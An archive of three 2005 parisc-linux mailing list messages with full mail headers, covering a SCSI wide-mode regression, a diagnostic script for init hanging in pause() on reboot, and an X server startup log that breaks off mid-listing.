Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9108A7D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 14:24:24 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBTLOMil004005; Thu, 29 Dec 2005 16:24:22 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBTLOLBw004004;
	Thu, 29 Dec 2005 16:24:21 -0500 (EST)
In-Reply-To: <7d01f9f00512291016k67676c59i759121abdfa0cf24@mail.gmail.com>
	from "Thibaut VARENE" at Dec 29, 2005 07:16:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RjHGYz1peSEkYL6WZHQhaXN1IGRvb0Ar
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23292

> I recently got 2.6.15-rc7-pa0 booting up on my rp3440 and noticed sym
> wasn't initializing HDs as it previously was, in fact it was
> initializing in Narrow mode instead of wide:

Same on c3k with 2.6.15-rc6-pa1 versus 2.6.14-rc5-pa1:

2.6.15:
Dec 26 17:12:48 hiauly6 kernel:  target1:0:5: FAST-40 SCSI 40.0 MB/s ST (25 ns, offset 31)

2.6.14:
Dec 26 17:03:45 hiauly6 kernel:  target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] init pause() on some systems but not all?
Date: Thu, 29 Dec 2005 21:33:54 +0000
Lines: 147
Approved: news@gmane.org
Message-ID: <43B45642.1050909@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623966 17518 80.91.229.3 (22 Nov 2014 02:39:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2005 21:34:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 29 Dec 2005 22:34:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADE8A7D71C;
	Thu, 29 Dec 2005 14:34:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27709-09; Thu, 29 Dec 2005 14:34:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 600AA7D719;
	Thu, 29 Dec 2005 14:34:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFF8E7D717
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 14:34:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27670-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 14:34:04 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id D13B17D716
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 14:34:03 -0700 (MST)
Original-Received: from (ip-62-235-233-120.dial.scarlet.be [62.235.233.120]) 
	by xizor.is.scarlet.be  with ESMTP id jBTLXxw26993; 
	Thu, 29 Dec 2005 22:33:59 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20051007 Debian/1.7.12-1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AzPGY9IveSEkJb6WZHQhaXN1IGRvb0C3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23293

Hello all,

I am experimentiting a very werid pb with some of my p-l boxes:

just after a fresh reboot, even after only some 2h, I can launch the reboot cmdl without pb.

But after some uptime, to 'reboot' them i need to force it with 'reboot -f' with inconvenience it supposes ;-(

mmm when the pb arises, simple 'reboot' just shows the common message as the system will reboot, but nothing hapen?

Any other telinit [S6] didn't respond more?

And if I kill a runing getty (a one launched by init at start up), init didn't respawn it?

I already tried:
     o to downgrade sysvinit, no help;
     o to stop nfs/portmap deamon (I read a similar reported about this), no help.

this occures on most systems but not all, see:

no pb on:
	o my c110 running k-2.6.14.4-vs2.1.0-pa0 and unstable debian
	o a b180 running k-2.6.14-pa0 and unstable debian too

but pb on:
	o n4k 64bit smp debian unstable (iirc k-2.6.15-rc6-pa1)
	o b2k 32bit up debian unstable & k-2.6.15-rc6-pa1
	o d380 32bit up debian testing & k-2.6.14.4-vs2.1.0-pa0 (i.e. nearly the same as c110)
	o another b180 runing the exactly the same k-2.6.14-pa0 as b180 above mentioned but debian testing
	o the last b180 runing k-2.6.15-rc6-pa0 (gcc-4.1) and debian unstable

Unfortunately no means to strace init:

# strace -p 1
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted
(the same on my i386 ;-( )

Anyway Mike help me to figure out that on affected systems, top (with addtional field WCHAN = Sleeping in Function)
init is in 'pause' not on the others (where it's in select)?

I tried following 'Watch_Init' script on d380 and b2k:
#!/bin/sh
#set -x

AWK="/usr/bin/awk"
CAT="/bin/cat"
DATE="/bin/date"
GREP="/bin/grep"
TOP="/usr/bin/top"
TOPRC="/root/.toprc"
TEE="/usr/bin/tee"

if [ -f $TOPRC ]
then
     echo "$TOPRC exist: please save it before retry."
     exit 1
fi

$CAT > $TOPRC <<EOF
RCfile for "top with windows"           # shameless braggin'
Id:a, Mode_altscr=0, Mode_irixps=1, Delay_time=3.000, Curwin=0
Def     fieldscur=AEHIOQTWKNMbcdfgjplrsuvYzX
         winflags=62777, sortindx=10, maxtasks=0
         summclr=1, msgsclr=1, headclr=3, taskclr=1
Job     fieldscur=ABcefgjlrstuvyzMKNHIWOPQDX
         winflags=62777, sortindx=0, maxtasks=0
         summclr=6, msgsclr=6, headclr=7, taskclr=6
Mem     fieldscur=ANOPQRSTUVbcdefgjlmyzWHIKX
         winflags=62777, sortindx=13, maxtasks=0
         summclr=5, msgsclr=5, headclr=4, taskclr=5
Usr     fieldscur=ABDECGfhijlopqrstuvyzMKNWX
         winflags=62777, sortindx=4, maxtasks=0
         summclr=3, msgsclr=3, headclr=2, taskclr=3
EOF

while true
do
     # Sleeping in Function
     WCHAN=$($TOP -p1 -n1 -b | $GREP "    1 root" | $AWK '{print $12}')
     if [ "X$WCHAN" != "Xselect" ]
     then
         break
     else
         sleep 5
     fi
done

$TOP -n1 -b 2>&1 | $TEE /var/logs/Watch_Init.doc

$DATE 2>&1  | $TEE -a /var/logs/Watch_Init.doc

exit 0
====<>====

may be not enough accurate because when it capture the 'switch', the 2 systems where doing different thing:
the d380:
top - 07:40:58 up 12:29,  2 users,  load average: 2.96, 1.80, 0.88
Tasks:  72 total,   3 running,  69 sleeping,   0 stopped,   0 zombie
Cpu(s):  4.4% us,  8.5% sy,  1.1% ni, 84.8% id,  1.1% wa,  0.0% hi,  0.1% si
Mem:    254716k total,   249192k used,     5524k free,    72340k buffers
Swap:   517480k total,        0k used,   517480k free,    66908k cached

   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  WCHAN     COMMAND
  5956 root      17   0  2900 1340 1024 R  7.3  0.5  13:49.14 syscall_d top
16067 root      16   0  2896 1224  924 R  7.3  0.5   0:00.25 read      top
16072 root      29  10  1368  132  108 R  3.7  0.1   0:00.03 syscall_d cracklib-
16068 root      20   0  1744  528  420 S  2.4  0.2   0:00.03 pipe_wait tee
  1756 jso       16   0  9676 1884 1184 S  1.2  0.7   0:27.06 select    sshd
     1 root      16   0  2292  808  664 S  0.0  0.3   0:48.35 pause     init
     2 root      34  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd ksoftirqd
     3 root      RT   0     0    0    0 S  0.0  0.0   0:00.05 msleep_in watchdog/
     4 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 worker_th events/0
...
Thu Dec 29 07:40:59 CET 2005

the b2k:
top - 07:36:21 up 12:21,  3 users,  load average: 1.80, 0.61, 0.25
Tasks:  81 total,   1 running,  80 sleeping,   0 stopped,   0 zombie
Cpu(s):  1.6% us,  2.9% sy,  0.9% ni, 93.9% id,  0.6% wa,  0.0% hi,  0.0% si
Mem:    251828k total,   211644k used,    40184k free,    81176k buffers
Swap:   255928k total,        0k used,   255928k free,    90496k cached

   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  WCHAN     COMMAND
  7749 root      17   2  2952 1220  920 R  3.7  0.5   0:00.06 alloc_pag top
  1736 root      16   0  2956 1344 1032 S  1.9  0.5  24:30.59 select    top
  7744 nobody    34  19  3584 1224  824 D  1.9  0.5   0:00.38 sync_buff find
     1 root      15   0  1764  684  564 S  0.0  0.3   0:11.50 pause     init
     2 root      34  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd ksoftirqd
     3 root      RT   0     0    0    0 S  0.0  0.0   0:00.00 msleep_in watchdog/
     4 root      10  -5     0    0    0 S  0.0  0.0   0:04.52 worker_th events/0
...
Thu Dec 29 07:36:21 CET 2005

in fine, all seems different?

Am i the only one who experiment such pb?

Any idea how may I better tracing this pb? (lttng? for 2.6.14 only)

Thanks in advance,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Wed, 28 Dec 2005 18:01:28 -0500 (EST)
Lines: 530
Approved: news@gmane.org
Message-ID: <200512282301.jBSN1SX1028943@hiauly1.hia.nrc.ca>
References: <20051228223113.GA22014@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623966 17524 80.91.229.3 (22 Nov 2014 02:39:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2005 23:01:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 29 Dec 2005 00:01:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A1787D6ED;
	Wed, 28 Dec 2005 16:01:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19283-08; Wed, 28 Dec 2005 16:01:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F13417D6EA;
	Wed, 28 Dec 2005 16:01:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92B467D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:01:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19283-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:01:31 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A6C3E7D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 16:01:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBSN1Sil028944; Wed, 28 Dec 2005 18:01:29 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBSN1SX1028943;
	Wed, 28 Dec 2005 18:01:28 -0500 (EST)
In-Reply-To: <20051228223113.GA22014@quicksilver.road.mcmartin.ca> from "Kyle
	McMartin" at Dec 28, 2005 05:31:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AXzBYwUreSEkIL6WZHQhaXN1IGRvb0Ab
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23294

> Try installing xserver-xorg. That should help.

Still no joy.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

X Window System Version 6.8.2 (Debian 6.8.2.dfsg.1-11 20051202210922 root@)
Release Date: 9 February 2005
X Protocol Version 11, Revision 0, Release 6.8.2
Build Operating System: Linux 2.6.12-1-64-smp parisc64 [ELF] 
Current Operating System: Linux hiauly6 2.6.15-rc6-pa1 #1 Mon Dec 19 15:13:14 MST 2005 parisc
Build Date: 02 December 2005
	Before reporting problems, check http://wiki.X.Org
	to make sure that you have the latest version.
OS Kernel: Linux version 2.6.15-rc6-pa1 (bame@palinux) (gcc version 3.3.5 (Debian 1:3.3.5-13)) #1 Mon Dec 19 15:13:14 MST 2005 
Markers: (--) probed, (**) from config file, (==) default setting,
	(++) from command line, (!!) notice, (II) informational,
	(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/Xorg.0.log", Time: Wed Dec 28 17:55:22 2005
(==) Using config file: "/etc/X11/xorg.conf"
(==) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "NEC LCD1980SX"
(**) |   |-->Device "PCI_GRAFFITIX1280"
(**) |-->Input Device "Generic Keyboard"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc104"
(**) XKB: model: "pc104"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(==) Keyboard: CustomKeycode disabled
(**) |-->Input Device "USB Mouse"
(**) FontPath set to "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/cyrillic,/usr/lib/X11/fonts/100dpi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/lib/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
(==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(WW) Open APM failed (/dev/apm_bios) (No such file or directory)
(--) using VT number 2

(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:0c:0: chip 1011,0019 card 103c,104f rev 41 class 02,00,00 hdr 00
(II) PCI: 00:0d:0: chip 11d4,1889 card 11d4,1889 rev 00 class 04,01,00 hdr 00
(II) PCI: 00:0e:0: chip 100b,0002 card 0000,0000 rev 03 class 01,01,8f hdr 80
(II) PCI: 00:0e:1: chip 100b,000e card 0000,0000 rev 01 class 06,80,00 hdr 80
(II) PCI: 00:0e:2: chip 100b,0012 card 0000,0000 rev 02 class 0c,03,10 hdr 80
(II) PCI: 00:0f:0: chip 1000,000b card 1000,1000 rev 07 class 01,00,00 hdr 80
(II) PCI: 00:0f:1: chip 1000,000b card 1000,1000 rev 07 class 01,00,00 hdr 80
(II) PCI: 01:06:0: chip 1011,0019 card 103c,1067 rev 21 class 02,00,00 hdr 00
(II) PCI: 02:03:0: chip 103c,1005 card 0000,0000 rev 03 class 03,80,00 hdr 00
(II) PCI: 03:02:0: chip 103c,1008 card 0000,0000 rev 02 class 03,80,00 hdr 00
(II) PCI: End of PCI scan
(II) Host-to-PCI bridge:
(II) Bus 0: bridge is at (0:0:0), (0,0,0), BCTRL: 0x0008 (VGA_EN is set)
(II) Bus 0 I/O range:
	[0] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 0 non-prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 0 prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Host-to-PCI bridge:
(II) Bus 1: bridge is at (0:0:0), (1,1,0), BCTRL: 0x0008 (VGA_EN is set)
(II) Bus 1 I/O range:
	[0] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 1 non-prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1 prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Host-to-PCI bridge:
(II) Bus 2: bridge is at (0:0:0), (2,2,0), BCTRL: 0x0008 (VGA_EN is set)
(II) Bus 2 I/O range:
	[0] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 2 non-prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 2 prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Host-to-PCI bridge:
(II) Bus 3: bridge is at (0:0:0), (3,3,0), BCTRL: 0x0008 (VGA_EN is set)
(II) Bus 3 I/O range:
	[0] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 3 non-prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 3 prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(--) PCI: (2:3:0) Hewlett-Packard Company A4977A Visualize EG rev 3, Mem @ 0xf8000000/25, BIOS @ 0xf6000000/16
(--) PCI: (3:2:0) Hewlett-Packard Company Visualize FX4 rev 2, Mem @ 0xfa000000/25, BIOS @ 0xf7000000/21
(II) Addressable bus resource ranges are
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1	0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1	0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1	0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) Active PCI resource ranges:
	[0] -1	0	0xf4800000 - 0xf480007f (0x80) MX[B]
	[1] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[2] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[3] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[4] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[5] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[6] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[7] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[8] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[9] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[10] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[11] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[12] -1	0	0xf7000000 - 0xf71fffff (0x200000) MX[B](B)
	[13] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[14] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[15] -1	0	0xf8000000 - 0xf9ffffff (0x2000000) MX[B](B)
	[16] -1	0	0x00002000 - 0x0000207f (0x80) IX[B]
	[17] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[18] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[19] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[20] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[21] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[22] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[23] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[24] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) Active PCI resource ranges after removing overlaps:
	[0] -1	0	0xf4800000 - 0xf480007f (0x80) MX[B]
	[1] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[2] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[3] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[4] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[5] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[6] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[7] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[8] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[9] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[10] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[11] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[12] -1	0	0xf7000000 - 0xf71fffff (0x200000) MX[B](B)
	[13] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[14] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[15] -1	0	0xf8000000 - 0xf9ffffff (0x2000000) MX[B](B)
	[16] -1	0	0x00002000 - 0x0000207f (0x80) IX[B]
	[17] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[18] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[19] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[20] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[21] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[22] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[23] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[24] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1	0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1	0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1	0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1	0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1	0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1	0	0xf4800000 - 0xf480007f (0x80) MX[B]
	[3] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[4] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[5] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[6] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[7] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[8] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[9] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[10] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[11] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[12] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[13] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[14] -1	0	0xf7000000 - 0xf71fffff (0x200000) MX[B](B)
	[15] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[16] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[17] -1	0	0xf8000000 - 0xf9ffffff (0x2000000) MX[B](B)
	[18] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[19] -1	0	0x00000000 - 0x00000000 (0x1) IX[B]
	[20] -1	0	0x00002000 - 0x0000207f (0x80) IX[B]
	[21] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[22] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[23] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
